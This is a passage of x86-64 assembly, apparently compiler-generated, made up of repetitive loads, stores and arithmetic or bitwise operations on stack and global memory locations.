mov rax, qword [rsp + 0x9258]
mov rcx, qword [rsp + 0x9ea0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa808], rax
mov eax, dword [rsp + 0x4cbc]
mov dword [rsp + 0x52d4], eax
mov rax, qword [rsp + 0x9260]
movzx eax, word [rax]
mov word [0x1401e8d5c], ax
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0x14fc]
and eax, ecx
mov word [rsp + 0x11f8], ax
movzx eax, word [rsp + 0x10a0]
mov word [rsp + 0x1504], ax
mov rax, qword [0x1401e8818]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f80]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0xb3b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaea0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x91d8]
mov qword [rsp + 0xb890], rax
mov eax, dword [rsp + 0x5130]
mov ecx, dword [rsp + 0x51e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb090]
mov qword [rsp + 0xb898], rax
mov rax, qword [rsp + 0x9028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e70]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb5d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14bc]
sub eax, ecx
mov rcx, qword [0x1401e8d00]
mov word [rcx], ax
lea rax, [rsp + 0xa1]
mov qword [rsp + 0xb8a0], rax
mov rax, qword [rsp + 0xa5e8]
movsx eax, word [rax]
movsx ecx, word [0x1401e8b08]
shl eax, cl
mov rcx, qword [rsp + 0xa9c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x104]
sar eax, cl
mov rcx, qword [rsp + 0x9830]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc7]
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0xa5c8]
mov rcx, qword [rsp + 0x9230]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9748]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8f0]
mov rax, qword [rax]
mov qword [rsp + 0xb8a8], rax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4ecc], eax
mov rax, qword [rsp + 0xa9a8]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fe8], eax
movsx eax, word [rsp + 0x10a0]
movsx ecx, word [rsp + 0x1164]
add eax, ecx
mov word [0x1401e7140], ax
mov rax, qword [rsp + 0x8c68]
movzx eax, byte [rax]
mov byte [rsp + 0x1bf], al
mov rax, qword [0x1401e8d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa168]
mov byte [rcx], al
movzx eax, word [rsp + 0x146c]
mov word [rsp + 0x1508], ax
mov rax, qword [rsp + 0xa470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x118c]
sub eax, ecx
mov rcx, qword [rsp + 0xa758]
mov word [rcx], ax
mov rax, qword [rsp + 0xa770]
mov rcx, qword [rsp + 0x99f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb210]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f90]
mov dword [rsp + 0x52d8], eax
mov eax, dword [rsp + 0x50a4]
mov ecx, dword [rsp + 0x4ec8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b00]
mov dword [rcx], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0xb8b0], rax
lea rax, [rsp + 0x12b]
mov qword [0x1401e8d60], rax
mov rax, qword [rsp + 0xa0f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x190], al
lea rax, [rsp + 0x1318]
mov qword [rsp + 0xb8b8], rax
mov rax, qword [rsp + 0x97c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e38]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
movzx eax, word [rsp + 0x1158]
mov rcx, qword [rsp + 0xadf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1194], ax
mov rax, qword [rsp + 0x9cc0]
mov qword [rsp + 0xb8c0], rax
mov rax, qword [rsp + 0xa940]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5054]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50dc], eax
mov rax, qword [rsp + 0x8df8]
mov rax, qword [rax]
mov qword [rsp + 0xb8c8], rax
mov eax, dword [0x1401e7008]
mov rcx, qword [rsp + 0x9738]
mov qword [rsp + 0xb8d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb8d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x522c], eax
movzx eax, word [rsp + 0x1040]
movzx ecx, word [rsp + 0x10c4]
xor eax, ecx
mov word [0x1401e89e8], ax
mov rax, qword [rsp + 0xa220]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1468]
shl eax, cl
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x143]
mov byte [rsp + 0x1c0], al
movzx eax, word [rsp + 0x112c]
movzx ecx, word [rsp + 0x1238]
or eax, ecx
mov word [rsp + 0x13b8], ax
lea rax, [rsp + 0xe2]
mov qword [rsp + 0xb8d8], rax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa780], rax
mov rax, qword [rsp + 0xa348]
mov rcx, qword [rsp + 0xab48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa00], rax
lea rax, [rsp + 0x4f98]
mov qword [rsp + 0xb8e0], rax
mov rax, qword [rsp + 0xac30]
mov rcx, qword [rsp + 0x8d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5174], eax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x120]
add eax, ecx
mov byte [0x1401e707e], al
lea rax, [rsp + 0x126c]
mov qword [rsp + 0xb8e8], rax
mov rax, qword [0x1401e8840]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c40]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ec8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xaf]
movsx ecx, byte [rsp + 0x91]
add eax, ecx
mov rcx, qword [rsp + 0x9c30]
mov byte [rcx], al
mov rax, qword [rsp + 0xac68]
movzx eax, byte [rax]
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x9ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5238], eax
lea rax, [rsp + 0xace0]
mov qword [rsp + 0xb8f0], rax
mov rax, qword [rsp + 0x9838]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fb8]
mov qword [rsp + 0xb8f8], rax
movsx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1090], ax
movzx eax, word [rsp + 0x11f8]
mov rcx, qword [rsp + 0x9828]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7144], ax
movsx eax, byte [rsp + 0x1a9]
movsx ecx, byte [rsp + 0x121]
shl eax, cl
mov rcx, qword [rsp + 0x9290]
mov byte [rcx], al
movzx eax, byte [rsp + 0xf4]
mov byte [rsp + 0x1c2], al
movsx eax, word [rsp + 0x1100]
mov rcx, qword [rsp + 0xa1c8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11fc], ax
mov rax, qword [rsp + 0x94c8]
mov rax, qword [rax]
mov qword [rsp + 0xb900], rax
mov rax, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0x9250]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x90b8], rax
mov eax, dword [0x1401e7008]
movzx ecx, al
mov eax, dword [rsp + 0x51d4]
sar eax, cl
mov dword [rsp + 0x4f28], eax
mov eax, dword [rsp + 0x52c0]
mov dword [rsp + 0x52dc], eax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xff]
and eax, ecx
mov byte [rsp + 0x123], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab28]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7058], ax
movzx eax, word [rsp + 0x1090]
mov word [rsp + 0x150c], ax
mov rax, qword [rsp + 0x90a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe8]
sub eax, ecx
mov byte [rsp + 0x19e], al
movzx eax, word [rsp + 0x12e0]
mov rcx, qword [rsp + 0xb0d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10c8], ax
lea rax, [rsp + 0xa1a8]
mov qword [rsp + 0xb908], rax
mov eax, dword [rsp + 0x52b8]
mov ecx, dword [rsp + 0x5124]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa728]
mov dword [rcx], eax
lea rax, [rsp + 0x5120]
mov qword [rsp + 0xb910], rax
mov rax, qword [rsp + 0xadb0]
mov rcx, qword [rsp + 0xb488]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa620]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0x16a]
sub eax, ecx
mov byte [rsp + 0x1b7], al
mov rax, qword [rsp + 0x99c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb770]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e7097], al
lea rax, [rsp + 0x1488]
mov qword [rsp + 0xb918], rax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb4f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa9], al
lea rax, [rsp + 0x16f]
mov qword [rsp + 0xb920], rax
mov rax, qword [rsp + 0x9028]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5094]
shl eax, cl
mov dword [rsp + 0x50b8], eax
lea rax, [rsp + 0x8f40]
mov qword [rsp + 0xb928], rax
mov rax, qword [rsp + 0x8e78]
mov rcx, qword [rsp + 0xa3b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8d18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e78]
mov ecx, dword [rsp + 0x528c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0x96a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x9240]
movzx eax, word [rax]
mov word [0x1401e8d68], ax
mov rax, qword [rsp + 0xae18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x108c]
sar eax, cl
mov rcx, qword [rsp + 0xac60]
mov word [rcx], ax
lea rax, [rsp + 0x1bb]
mov qword [rsp + 0xb930], rax
movsx eax, word [rsp + 0x1348]
movsx ecx, word [0x1401e70f8]
sub eax, ecx
mov word [rsp + 0x1468], ax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x155]
and eax, ecx
mov byte [rsp + 0x176], al
mov eax, dword [rsp + 0x5280]
mov dword [rsp + 0x52e0], eax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0x9e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa4b8], rax
mov rax, qword [rsp + 0x9028]
mov eax, dword [rax]
mov dword [rsp + 0x52e4], eax
mov rax, qword [rsp + 0x9088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bf0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c10], rax
mov rax, qword [rsp + 0xa1f8]
movzx eax, word [rax]
movzx ecx, word [0x1401e8c88]
add eax, ecx
mov word [0x1401e712c], ax
mov rax, qword [rsp + 0xae88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9dc8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9718]
movzx eax, word [rax]
mov word [rsp + 0x1510], ax
movzx eax, byte [0x1401e706f]
mov rcx, qword [rsp + 0xa960]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x14b0]
mov word [rsp + 0x1514], ax
mov rax, qword [rsp + 0x91f8]
mov rcx, qword [rsp + 0xa790]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f44], eax
mov rax, qword [0x1401e7028]
mov qword [rsp + 0xb938], rax
mov rax, qword [rsp + 0xa0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0xb478]
mov rcx, qword [rsp + 0xa368]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb1b8], rax
movsx eax, byte [rsp + 0x1c0]
mov rcx, qword [rsp + 0xb2c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e8a20]
mov byte [rcx], al
lea rax, [rsp + 0x1104]
mov qword [rsp + 0xb940], rax
mov rax, qword [rsp + 0xaca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a3]
sar eax, cl
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
lea rax, [rsp + 0x12fc]
mov qword [rsp + 0xb948], rax
movsx eax, word [rsp + 0x1250]
mov rcx, qword [rsp + 0x9d80]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa8a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e38]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5134], eax
mov rax, qword [rsp + 0x9ee0]
mov rax, qword [rax]
mov qword [rsp + 0xb950], rax
mov rax, qword [rsp + 0xa338]
mov rcx, qword [rsp + 0xa808]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov dword [rsp + 0x52e8], eax
mov rax, qword [rsp + 0x9608]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x124c]
add eax, ecx
mov word [0x1401e7148], ax
movsx eax, word [rsp + 0x1090]
mov rcx, qword [rsp + 0x91b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9260]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b5]
add eax, ecx
mov byte [rsp + 0x127], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0xb958], rax
mov rax, qword [rsp + 0x9ef0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa370]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
mov dword [rsp + 0x52ec], eax
mov rax, qword [rsp + 0x9a18]
mov ecx, dword [rsp + 0x4db4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5290], eax
mov rax, qword [rsp + 0x9e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9758]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x99d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9700]
mov rax, qword [rax]
mov qword [rsp + 0xb960], rax
movsx eax, byte [0x1401e8794]
movsx ecx, byte [rsp + 0x1b4]
add eax, ecx
mov rcx, qword [0x1401e8808]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12b0]
sub eax, ecx
mov word [rsp + 0x1004], ax
lea rax, [0x1401e7047]
mov qword [rsp + 0xb968], rax
movsx eax, word [rsp + 0x14d4]
movsx ecx, word [rsp + 0x1088]
add eax, ecx
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0xa360]
movzx eax, byte [rax]
mov byte [rsp + 0x1c4], al
mov rax, qword [rsp + 0xb478]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb628]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e30]
movzx ecx, al
mov eax, dword [rsp + 0x505c]
shl eax, cl
mov dword [rsp + 0x4f44], eax
mov rax, qword [rsp + 0xb130]
mov rax, qword [rax]
mov qword [rsp + 0xb970], rax
mov rax, qword [rsp + 0xb5b8]
mov eax, dword [rax]
cdq
idiv dword [0x1401e7008]
mov rcx, qword [rsp + 0xaa38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
xor eax, ecx
mov byte [0x1401e709a], al
mov rax, qword [rsp + 0xacd0]
movzx eax, word [rax]
mov word [rsp + 0x1518], ax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [0x1401e706e]
or eax, ecx
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0x99b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaad0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb118]
mov word [rcx], ax
lea rax, [rsp + 0xec]
mov qword [rsp + 0xb978], rax
mov rax, qword [rsp + 0x9230]
mov rcx, qword [rsp + 0xb530]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa8e0], rax
mov eax, dword [rsp + 0x5040]
mov dword [rsp + 0x52f0], eax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4ed0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3f0]
mov rcx, qword [0x1401e7028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb850]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1130]
movsx ecx, word [rsp + 0x1170]
and eax, ecx
mov rcx, qword [0x1401e88b0]
mov word [rcx], ax
lea rax, [rsp + 0x71]
mov qword [rsp + 0xb980], rax
mov rax, qword [rsp + 0xa678]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb190]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x140c], ax
movzx eax, word [rsp + 0x1504]
mov word [rsp + 0x151c], ax
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9420]
mov byte [rcx], al
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x52f4], eax
mov rax, qword [rsp + 0xa170]
mov ecx, dword [rsp + 0x4fb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9678]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9880]
mov rcx, qword [0x1401e7028]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa158], rax
mov rax, qword [rsp + 0xaf60]
mov qword [rsp + 0xb988], rax
lea rax, [rsp + 0xd9]
mov qword [0x1401e8d70], rax
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14ac]
add eax, ecx
mov word [rsp + 0x13d0], ax
mov rax, qword [0x1401e8d38]
movzx eax, byte [rax]
mov byte [rsp + 0x1c5], al
mov rax, qword [rsp + 0xb1f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x143c]
xor eax, ecx
mov rcx, qword [rsp + 0xa640]
mov word [rcx], ax
movsx eax, word [rsp + 0x1178]
mov rcx, qword [rsp + 0x9220]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x10f0], ax
lea rax, [rsp + 0xb678]
mov qword [rsp + 0xb990], rax
mov rax, qword [rsp + 0xaba8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x52dc]
shl eax, cl
mov dword [rsp + 0x4fcc], eax
lea rax, [rsp + 0x52f0]
mov qword [rsp + 0xb998], rax
mov rax, qword [rsp + 0x91a8]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa868], rax
movzx eax, word [rsp + 0x1418]
mov rcx, qword [rsp + 0x9ed0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9750]
movzx eax, word [rax]
mov word [0x1401e8d78], ax
lea rax, [rsp + 0x7c]
mov qword [rsp + 0xb9a0], rax
movzx eax, byte [rsp + 0x1a6]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9480]
mov byte [rcx], al
lea rax, [rsp + 0x15b]
mov qword [rsp + 0xb9a8], rax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0xb950]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9658]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xa308]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb620]
mov qword [rcx], rax
lea rax, [rsp + 0x5188]
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xa0d0]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
lea rax, [rsp + 0xfd]
mov qword [rsp + 0xb9b8], rax
movsx eax, word [rsp + 0x1264]
movsx ecx, word [rsp + 0x1080]
and eax, ecx
mov rcx, qword [0x1401e8c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x9460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov rcx, qword [rsp + 0x9448]
mov byte [rcx], al
lea rax, [rsp + 0xff0]
mov qword [rsp + 0xb9c0], rax
mov rax, qword [rsp + 0x9660]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaf]
add eax, ecx
mov byte [rsp + 0x174], al
mov rax, qword [rsp + 0x9ac8]
mov rcx, qword [rsp + 0xb748]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e38], eax
mov rax, qword [rsp + 0xa648]
mov eax, dword [rax]
mov dword [rsp + 0x52f8], eax
mov rax, qword [rsp + 0xad60]
mov rcx, qword [rsp + 0xb6e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa190], rax
lea rax, [rsp + 0xacb8]
mov qword [rsp + 0xb9c8], rax
mov rax, qword [rsp + 0xa150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb680]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0xb030]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x139]
shl eax, cl
mov byte [0x1401e709b], al
mov rax, qword [rsp + 0xa9e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1360]
sar eax, cl
mov word [rsp + 0x1394], ax
mov rax, qword [rsp + 0xa5c0]
movzx eax, word [rax]
mov word [rsp + 0x1520], ax
movzx eax, word [rsp + 0x10ac]
mov rcx, qword [rsp + 0xa818]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10d4], ax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xb9d0], rax
mov rax, qword [rsp + 0xb648]
mov rcx, qword [rsp + 0x97c8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x5298], eax
mov rax, qword [rsp + 0xb090]
mov rcx, qword [rsp + 0x9048]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov dword [rsp + 0x52fc], eax
mov rax, qword [rsp + 0x94d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa168]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9908]
mov byte [rcx], al
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov rcx, qword [0x1401e8bd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7094], ax
movzx eax, word [rsp + 0x11c0]
mov word [rsp + 0x1524], ax
mov rax, qword [rsp + 0xa688]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0x9a28]
movsx eax, word [rax]
mov rcx, qword [0x1401e8a90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1390], ax
movzx eax, word [rsp + 0x1514]
mov word [rsp + 0x1528], ax
mov rax, qword [rsp + 0x9f60]
mov rcx, qword [rsp + 0x95c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5200], eax
mov rax, qword [rsp + 0xb5c8]
mov eax, dword [rax]
mov dword [rsp + 0x5300], eax
mov rax, qword [rsp + 0xb060]
mov rcx, qword [rsp + 0xab20]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb658], rax
mov rax, qword [rsp + 0xa950]
mov rax, qword [rax]
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xb018]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9570]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e714c], ax
mov rax, qword [rsp + 0xb858]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a0]
sub eax, ecx
mov byte [rsp + 0xae], al
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xa258]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9148]
mov byte [rcx], al
lea rax, [rsp + 0x125c]
mov qword [rsp + 0xb9e0], rax
movsx eax, byte [rsp + 0x111]
mov rcx, qword [rsp + 0xa688]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb508]
mov byte [rcx], al
lea rax, [rsp + 0x9cc8]
mov qword [rsp + 0xb9e8], rax
mov rax, qword [rsp + 0x9540]
mov rcx, qword [0x1401e7028]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0x9298]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb8e0]
mov qword [rsp + 0xb9f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5254], eax
mov rax, qword [rsp + 0xa300]
mov eax, dword [rax]
mov dword [rsp + 0x5304], eax
movsx eax, word [rsp + 0x1068]
mov rcx, qword [0x1401e8a40]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e8bf8], ax
mov rax, qword [rsp + 0xb2a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9518]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16b], al
lea rax, [rsp + 0xf3]
mov qword [rsp + 0xb9f8], rax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x7b]
add eax, ecx
mov rcx, qword [rsp + 0xaa18]
mov byte [rcx], al
movsx eax, word [rsp + 0x11f4]
mov rcx, qword [rsp + 0x8f50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x51a4]
mov dword [rsp + 0x5308], eax
mov rax, qword [rsp + 0xaee0]
mov rcx, qword [rsp + 0x9598]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb8c8]
mov qword [rsp + 0xba00], rax
mov rax, qword [rsp + 0xa010]
mov rcx, qword [rsp + 0xb378]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa0e0], rax
mov rax, qword [0x1401e8aa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1424]
sub eax, ecx
mov rcx, qword [0x1401e87a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x1c6], al
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb1]
add eax, ecx
mov rcx, qword [rsp + 0xb4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
and eax, ecx
mov word [rsp + 0x1060], ax
movzx eax, word [rsp + 0x142c]
mov word [rsp + 0x152c], ax
mov eax, dword [rsp + 0x5234]
